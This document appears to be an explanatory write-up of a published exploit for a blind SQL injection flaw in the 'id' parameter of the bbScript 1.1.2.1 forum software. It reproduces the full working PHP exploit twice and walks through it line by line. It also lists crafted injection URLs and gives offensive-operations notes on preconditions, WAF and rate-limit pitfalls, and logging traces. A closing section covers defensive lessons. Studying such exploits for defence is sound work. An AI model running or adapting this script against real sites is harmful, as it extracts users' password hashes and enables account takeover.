bbScript 1.1.2.1 'id' Blind SQL Injection Exploit Explained

bbScript 1.1.2.1 'id' Blind SQL Injection Exploit Explained
What this paper is
This paper details a blind SQL injection vulnerability found in bbScript version 1.1.2.1. The vulnerability exists in the id parameter of the index.php script. The exploit leverages this vulnerability to extract a user's password hash by making a series of requests and observing the server's response.
Simple technical breakdown
The core of the vulnerability lies in how the application handles user input for the id parameter. When this parameter is not properly sanitized, an attacker can inject SQL commands.
The exploit uses a "blind" technique. This means it doesn't directly see the database's output (like the password itself). Instead, it infers information by observing whether a specific condition in the injected SQL query results in an error or a normal response.
Here's the logic:
- Normal Response: If
1+and+1=1is appended to theidparameter, the query is valid, and the page loads normally. - Error Response: If
1+and+1=2is appended, the condition is false, and the application likely returns an error.
The exploit uses this error/no-error distinction to guess characters of the password hash one by one. It tries to determine if a specific character at a specific position in the password hash matches a character it's testing.
Complete code and payload walkthrough
The provided PHP script is a Proof-of-Concept (PoC) exploit. Let's break it down:
<?php
/*
bbScript <= 1.1.2.1 (id) Blind SQL Injection Exploit
Bug found && exploited by cOndemned
Greetz: All friends, TWT, SecurityReason Team, Scruell ;*
Download: http://www.bbscript.com/download.php
Note: You have to be logged into in order to download this script
/[bbScript_path]/index.php?action=showtopic&id=1+and+1=1-- TRUE (normal)
/[bbScript_path]/index.php?action=showtopic&id=1+and+1=2-- FALSE (error)
example:
condemned@agonia:~$ php bbscript-poc.php http://localhost/audits/bbScript admin
[~] bbScript <= 1.1.2.1 (id) Blind SQL Injection Exploit
[~] Bug found && exploited by cOndemned
[~] Target username set to admin
[~] Password Hash : 596a96cc7bf9108cd896f33c44aedc8a
[~] Done
*/
function concat($string)
{
$length = strlen($string);
$output = '';
for($i = 0; $i < $length; $i++) $output .= sprintf("CHAR(%d),", ord($string[$i]));
return 'CONCAT(' . substr($output, 0, -1) . ')';
}
echo "\n[~] bbScript <= 1.1.2.1 (id) Blind SQL Injection Exploit";
echo "\n[~] Bug found && exploited by cOndemned\n";
if($argc != 3)
{
printf("[!] Usage: php %s <target> <login>\n\n", $argv[0]);
exit;
}
list(, $target, $login) = $argv;
echo "[~] Target username set to $login\n";
$login = concat($login);
$chars = array_merge((array)$chars, range(48, 57), range(97, 102));
$pos = 1;
echo "[~] Password Hash : ";
while($pos != 33)
{
for($i = 0; $i <= 16; $i++)
{
$query = "/index.php?action=showtopic&id=1+AND+SUBSTRING((SELECT+password+FROM+users+WHERE+username=$login),$pos,1)=CHAR({$chars[$i]})--";
if(!preg_match('#Error#', file_get_contents($target . $query), $resp))
{
printf("%s", chr($chars[$i]));
$pos++;
break;
}
}
}
echo "\n[~] Done\n\n";
?>Code Fragment/Block -> Practical Purpose Mapping:
/* ... */(Comment Block): Provides context about the exploit, its author, version, download link, and usage examples. It also demonstrates the basic SQL injection technique (1+and+1=1vs.1+and+1=2).function concat($string):- Purpose: This function takes a string (like a username) and converts it into a SQL-compatible
CONCAT()string. Each character of the input string is converted to its ASCII decimal value and then represented asCHAR(ascii_value). This is crucial for injecting strings into SQL queries where direct string literals might be problematic or for bypassing certain filters. - Inputs:
$string(the string to convert, e.g., "admin"). - Behavior: Iterates through each character of
$string, gets its ASCII value usingord(), formats it asCHAR(value), and concatenates these into a single string likeCHAR(97),CHAR(100),CHAR(109),CHAR(105),CHAR(110). Finally, it wraps this inCONCAT(). - Output: A SQL string representation of the input string, e.g.,
CONCAT(CHAR(97),CHAR(100),CHAR(109),CHAR(105),CHAR(110)).
- Purpose: This function takes a string (like a username) and converts it into a SQL-compatible
echo "\n[~] bbScript <= 1.1.2.1 (id) Blind SQL Injection Exploit";and subsequentechostatements:- Purpose: Prints informational messages to the console, indicating the script's purpose and author.
if($argc != 3)block:- Purpose: Checks if the correct number of command-line arguments are provided. The script expects the target URL and the username.
- Inputs:
$argc(argument count). - Behavior: If the count is not 3 (script name + target + login), it prints a usage message and exits.
- Output: Usage instructions or program continuation.
list(, $target, $login) = $argv;:- Purpose: Assigns the command-line arguments to variables.
$argv[0]is the script name,$argv[1]is the target URL, and$argv[2]is the username. - Inputs:
$argv(array of command-line arguments). - Behavior: Unpacks the
$argvarray into$targetand$loginvariables. - Output:
$targetand$loginvariables populated with user input.
- Purpose: Assigns the command-line arguments to variables.
echo "[~] Target username set to $login\n";:- Purpose: Informs the user which username is being targeted for password extraction.
$login = concat($login);:- Purpose: Calls the
concatfunction to prepare the target username for injection into the SQL query.
- Purpose: Calls the
$chars = array_merge((array)$chars, range(48, 57), range(97, 102));:- Purpose: Defines the set of characters the script will attempt to guess for the password hash.
- Behavior:
range(48, 57): Generates numbers from 48 to 57, which correspond to ASCII characters '0' through '9'.range(97, 102): Generates numbers from 97 to 102, which correspond to ASCII characters 'a' through 'f'.array_merge((array)$chars, ...): Combines these ranges. This set of characters (0-9anda-f) is typical for hexadecimal strings, which is what MD5 hashes look like. The(array)$charspart is a bit unusual; if$charswas not previously defined, it would benull, and(array)nullis an empty array. So, it effectively initializes$charswith the hex character codes.
- Output:
$charsarray containing ASCII decimal values for '0'-'9' and 'a'-'f'.
$pos = 1;:- Purpose: Initializes a position counter. This variable tracks which character of the password hash is currently being guessed.
echo "[~] Password Hash : ";:- Purpose: Prints a prefix before revealing the guessed password hash characters.
while($pos != 33)loop:- Purpose: The main loop that iterates through each character position of the password hash. A standard MD5 hash is 32 characters long. The loop continues until
$posreaches 33, meaning all 32 characters have been successfully guessed. - Behavior: Continues as long as the current position
$posis not equal to 33.
- Purpose: The main loop that iterates through each character position of the password hash. A standard MD5 hash is 32 characters long. The loop continues until
for($i = 0; $i <= 16; $i++)loop:- Purpose: This inner loop iterates through the possible characters (hexadecimal digits) to guess for the current position (
$pos) of the password hash. - Behavior: For each position, it tries each character code in the
$charsarray. The loop runs 17 times (0 to 16), which is more than the number of characters in$chars(10 digits + 6 letters = 16 characters). This implies it's iterating through the indices of$charsand using$chars[$i]to get the character code.
- Purpose: This inner loop iterates through the possible characters (hexadecimal digits) to guess for the current position (
$query = "/index.php?action=showtopic&id=1+AND+SUBSTRING((SELECT+password+FROM+users+WHERE+username=$login),$pos,1)=CHAR({$chars[$i]})--";:- Purpose: Constructs the SQL injection query for the current guess.
- Behavior:
1+AND+...: Appends the condition to the originalid=1.SUBSTRING((SELECT+password+FROM+users+WHERE+username=$login),$pos,1): This is the core of the blind SQL injection. It attempts to extract a single character (1) from thepasswordcolumn of theuserstable, for the row whereusernamematches the injected$loginstring. The extraction starts at the current position$pos.=CHAR({$chars[$i]}): Compares the extracted character with the character represented by the ASCII code$chars[$i].--: Comments out the rest of the original SQL query.- The entire URL-encoded query string is built.
if(!preg_match('#Error#', file_get_contents($target . $query), $resp)):- Purpose: This is the detection mechanism. It checks if the server's response does not contain the string "Error".
- Inputs:
$target . $query: The full URL to fetch.'#Error#': The regular expression pattern to search for.
- Behavior:
file_get_contents(): Fetches the content of the URL.preg_match(): Tries to find the pattern "Error" in the fetched content.- The
!negates the result. So, if "Error" is not found (meaning the SQL query condition was TRUE), theifblock executes.
- Output: Boolean indicating if "Error" was found.
printf("%s", chr($chars[$i]));:- Purpose: If no "Error" was detected, it means the guessed character is correct. This line prints the guessed character to the console.
- Inputs:
$chars[$i](the ASCII code of the correct character). - Behavior: Converts the ASCII code back to a character using
chr()and prints it.
$pos++;:- Purpose: Increments the position counter to move to the next character of the password hash.
break;:- Purpose: Exits the inner
forloop once a correct character is found for the current position. This is important because we only want to find one character per position before moving to the next position.
- Purpose: Exits the inner
echo "\n[~] Done\n\n";:- Purpose: Indicates that the script has finished its execution.
Shellcode/Payload Segments:
There is no traditional shellcode or executable payload in this script. The "payload" is the series of crafted SQL queries that are sent to the target web application. The script itself is the attacker's tool, and its output (the guessed password hash) is the result of the "attack."
Practical details for offensive operations teams
- Required Access Level: Network access to the target web application. No local system access is required on the target.
- Lab Preconditions:
- A vulnerable bbScript 1.1.2.1 instance must be deployed.
- The target application must be accessible over HTTP/HTTPS.
- The attacker must know or be able to guess the username for which they want to retrieve the password hash.
- The
idparameter inindex.phpmust be vulnerable to SQL injection. - The application must return an "Error" message (or a distinct response) when a SQL query condition is false, and a "normal" response when it's true.
- The
userstable must exist, and it must containusernameandpasswordcolumns. - The target username must exist in the
userstable. - The web server must allow
file_get_contentsto fetch external URLs (this is how the PHP script interacts with the target).
- Tooling Assumptions:
- PHP interpreter installed on the attacker's machine.
- Basic command-line familiarity.
- The target URL must be provided correctly.
- Execution Pitfalls:
- Timing: Blind SQL injection is slow. Extracting a 32-character hash can take a significant amount of time (minutes to hours, depending on network latency and server response times).
- Network Issues: Unstable network connections can lead to
file_get_contentsfailures, causing the script to hang or produce incomplete results. - Web Application Firewall (WAF) / Intrusion Detection/Prevention Systems (IDS/IPS): The repetitive nature of the requests and the specific SQL syntax used can be easily detected and blocked. The
--comment character andCHAR()function might be filtered. - Application Changes: Even minor changes in the application's error handling or URL routing can break the exploit. For example, if the application no longer returns "Error" for invalid SQL, the detection logic fails.
- Character Set: The
$charsarray is hardcoded for hexadecimal characters. If the password hash uses different characters (e.g., uppercase hex, or if it's not a hex hash), the exploit will fail. - SQL Dialect: Assumes MySQL or a compatible SQL dialect where
SUBSTRING,CONCAT,CHAR, and--comments work as expected. - URL Encoding: The script implicitly relies on
file_get_contentsto handle basic URL encoding, but complex characters in the username might require manual encoding. - Rate Limiting: The target server might implement rate limiting, preventing the script from making too many requests in a short period.
- Telemetry:
- Network Traffic: Numerous HTTP GET requests to the target URL, each with a slightly different
idparameter containing SQL fragments. - Web Server Logs: Access logs will show many requests to
index.phpwith varyingidparameters. Error logs might show SQL errors if the injected queries are malformed or if the WAF/IDS intervenes. - Application Behavior: The application might appear slow or unresponsive to legitimate users if the exploit is running concurrently.
- Script Output: The attacker's console will show the gradually revealed password hash character by character.
- Network Traffic: Numerous HTTP GET requests to the target URL, each with a slightly different
Where this was used and when
- Context: This exploit targets a specific version (<= 1.1.2.1) of bbScript, a PHP web application. Such applications were commonly used for forums, bulletin boards, or content management systems in the late 2000s.
- Approximate Years/Dates: The exploit was published on December 31, 2009. This indicates that the vulnerability existed and was exploited around that time. It's likely that similar vulnerabilities were prevalent in web applications of that era.
Defensive lessons for modern teams
- Input Validation and Sanitization: This is the most critical lesson. All user-supplied input, especially data that is incorporated into database queries, must be rigorously validated and sanitized. Use parameterized queries or prepared statements to prevent SQL injection.
- Least Privilege: The database user account used by the web application should have only the minimum necessary privileges. It should not be able to query arbitrary tables or columns if it doesn't need to.
- Error Handling: Applications should not reveal detailed error messages to end-users, as these can leak information to attackers. Generic error messages should be displayed, while detailed errors are logged server-side.
- Web Application Firewalls (WAFs): While not a foolproof solution, WAFs can help detect and block common SQL injection patterns. However, attackers can often bypass simple WAF rules.
- Regular Patching and Updates: Keeping web applications and their underlying frameworks updated is crucial to patch known vulnerabilities. This exploit targets a specific, older version.
- Monitoring and Logging: Implement robust logging for web server and application activity. Monitor logs for suspicious patterns, such as a high volume of requests with unusual query parameters or repeated error messages.
- Secure Coding Practices: Educate developers on secure coding principles, including the dangers of SQL injection and how to prevent it.
ASCII visual (if applicable)
This exploit's flow can be visualized as a series of requests and responses where the attacker probes the application.
+-----------------+ Crafted SQL Query +-----------------+
| Attacker Script | --------------------------> | Target Web App |
| (PHP Exploit) | | (bbScript) |
+-----------------+ +--------+--------+
|
| HTTP Response
| (Error or Normal)
v
+-----------------+
| Attacker Script |
| (Analyzes Resp.)|
+-----------------+The attacker script repeatedly sends queries like:GET /index.php?action=showtopic&id=1+AND+SUBSTRING((SELECT+password+FROM+users+WHERE+username='admin'),1,1)=CHAR(97)--GET /index.php?action=showtopic&id=1+AND+SUBSTRING((SELECT+password+FROM+users+WHERE+username='admin'),1,1)=CHAR(98)--
... and so on, until a character is identified.
Source references
- Paper URL: https://www.exploit-db.com/papers/10880
- Raw Exploit URL: https://www.exploit-db.com/raw/10880
Original Exploit-DB Content (Verbatim)
<?php
/*
bbScript <= 1.1.2.1 (id) Blind SQL Injection Exploit
Bug found && exploited by cOndemned
Greetz: All friends, TWT, SecurityReason Team, Scruell ;*
Download: http://www.bbscript.com/download.php
Note: You have to be logged into in order to download this script
/[bbScript_path]/index.php?action=showtopic&id=1+and+1=1-- TRUE (normal)
/[bbScript_path]/index.php?action=showtopic&id=1+and+1=2-- FALSE (error)
example:
condemned@agonia:~$ php bbscript-poc.php http://localhost/audits/bbScript admin
[~] bbScript <= 1.1.2.1 (id) Blind SQL Injection Exploit
[~] Bug found && exploited by cOndemned
[~] Target username set to admin
[~] Password Hash : 596a96cc7bf9108cd896f33c44aedc8a
[~] Done
*/
function concat($string)
{
$length = strlen($string);
$output = '';
for($i = 0; $i < $length; $i++) $output .= sprintf("CHAR(%d),", ord($string[$i]));
return 'CONCAT(' . substr($output, 0, -1) . ')';
}
echo "\n[~] bbScript <= 1.1.2.1 (id) Blind SQL Injection Exploit";
echo "\n[~] Bug found && exploited by cOndemned\n";
if($argc != 3)
{
printf("[!] Usage: php %s <target> <login>\n\n", $argv[0]);
exit;
}
list(, $target, $login) = $argv;
echo "[~] Target username set to $login\n";
$login = concat($login);
$chars = array_merge((array)$chars, range(48, 57), range(97, 102));
$pos = 1;
echo "[~] Password Hash : ";
while($pos != 33)
{
for($i = 0; $i <= 16; $i++)
{
$query = "/index.php?action=showtopic&id=1+AND+SUBSTRING((SELECT+password+FROM+users+WHERE+username=$login),$pos,1)=CHAR({$chars[$i]})--";
if(!preg_match('#Error#', file_get_contents($target . $query), $resp))
{
printf("%s", chr($chars[$i]));
$pos++;
break;
}
}
}
echo "\n[~] Done\n\n";
?>